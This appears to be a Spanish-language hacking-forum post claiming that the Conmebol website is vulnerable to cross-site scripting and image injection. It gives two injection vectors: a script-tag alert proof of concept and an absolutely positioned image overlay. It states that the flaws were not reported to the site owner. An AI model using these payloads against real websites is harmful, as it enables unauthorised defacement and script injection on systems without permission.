Pude percatarme que la página web de la Conmebol es vulnerable a XSS y a XSIO (y de seguro a un montón de otras):
XSS
Url: You are not allowed to view links.
You are not allowed to view links.
Register or
Login or You are not allowed to view links.
Register or
LoginVector: "/><script>alert(String.fromCharCode(104,117,048,114,032,085,110,100,101,114,099,048,100,101))</script>
XSIO
Url: You are not allowed to view links.
You are not allowed to view links.
Register or
Login or You are not allowed to view links.
Register or
LoginVector: "><img src='You are not allowed to view links.
You are not allowed to view links.
Register or
Login or You are not allowed to view links.
Register or
Login' style='position:absolute;left:50px;top:0px;'/>
------------------
Reportado: NO
![](https://underc0de.org/foro/Themes/underc…"}</script>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-KGS1FQLY5T"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag("js", new Date());
gtag("config", "G-KGS1FQLY5T");
</script>
</head>
<body id="smf" class="action_messageindex board_188">
<div id="footerfix">
<div class="page">
<div class="page-main">
<header class="p-header" id="header_ust">
<!-- app-content-->
<div class="p-2 d-block d-sm-none navbar-sm-search">
<!-- Form -->
<form class="navbar-search navbar-search-dark form-inline ml-lg-auto" action="https://underc0de.org/foro/index.php?action=search2" method="post" accept-charset="UTF-8">
<div class="form-group mb-0">
</div>
</form>
</div>
<!-- Top navbar -->
<nav class="navbar navbar-top navbar-expand-md navbar-dark" id="navbar-main">
<div class="container-fluid">
<img src="https://underc0de.org/assets/img/pulpo-blanco.png" width="4%" alt="Logo Underc0de" class="icono-logo">
<a id="horizontal-navtoggle" class="animated-arrow"><span></span></a>
<h2 class="navbar-brand">
<a class="header-brand__link" href="https://underc0de.org/foro/index.php"><span class="header-brand__logo"><i class="fab https://underc0de.org/assets/img/pulpo-blanco.png"></i></span><span class="header-brand__text t-hack"><img src="https://underc0de.org/foro/Themes/underc0de/images/logo.png" alt="Underc0de"></span></a></h2>
<!-- Form -->
<div align="right" class="icono-logo"><a href="https://play.google.com/store/apps/details?id=org.underc0de"><img width="15%" src="https://underc0de.org/foro/Themes/underc0de/images/googleplay.png"></a>
<a href="https://apps.apple.com/uy/app/underc0de/id1591350156?l=es"><img width="15%" src="https://underc0de.org/foro/Themes/underc0de/images/appstore.png"></a></div>
<form class="search navbar-search navbar-search-dark form-inline ml-3 ml-auto" action="https://underc0de.org/foro/index.php?action=search2" method="post" accept-charset="UTF-8">
<div class="search__wrapper pr-md-0 mr-md-2 pl-1">
<input type="search" name="search" class="search__field" value="">
<button type="submit" class="fa fa-search search__icon"></button>
<input type="hidden" name="topic" value="14785" />
</div>
</form>
<div class="nightSwitch">
<label class="dark-mode ml-auto">
<input type="checkbox" checked="" class="custom-control-input" id="darkSwitch">
<span class="custom-control-label" for="darkSwitch"></span>
</label></div>
<!-- User -->
<div class="navbar-nav align-items-center ">
<ul class="user-menu menu menu--flat" id="top_info">
<li>
<a class="h-button is-rounded is-primary is-raised" href="https://underc0de.org/foro/index.php?action=login" onclick="return reqOverlayDiv(this.href, ){kind=logo}
Iniciar sesión
